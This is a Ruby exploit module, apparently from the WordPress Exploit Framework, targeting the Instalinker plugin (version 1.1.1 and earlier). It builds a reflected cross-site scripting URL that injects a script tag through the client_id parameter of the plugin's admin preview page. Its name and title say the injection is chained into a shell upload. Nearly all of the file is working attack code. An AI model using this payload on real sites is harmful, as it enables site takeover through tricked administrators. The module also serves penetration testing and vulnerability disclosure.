# frozen_string_literal: true

class Wpxf::Exploit::InstalinkerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Instalinker <= 1.1.1 Reflected XSS Shell Upload',
      author: [
        'rastating'  # Disclosure + WPXF module
      ],
      references: [
        ['WPVDB', '8382'],
        ['URL', 'http://blog.rastating.com/instalinker-reflected-xss-information-disclosure/']
      ],
      date: 'Feb 06 2016'
    )
  end

  def check
    check_plugin_version_from_readme('instalinker', '1.1.2')
  end

  def vulnerable_url
    normalize_uri(
      wordpress_url_plugins,
      'instalinker',
      'includes',
      'instalinker-admin-preview.php'
    )
  end

  def url_with_xss
    "#{vulnerable_url}?client_id=%22%3E"\
    "%3Cscript%3E#{xss_ascii_encoded_include_script}%3C/script%3E"\
    "%3Cdiv data-il-client-id=%22"
  end
end
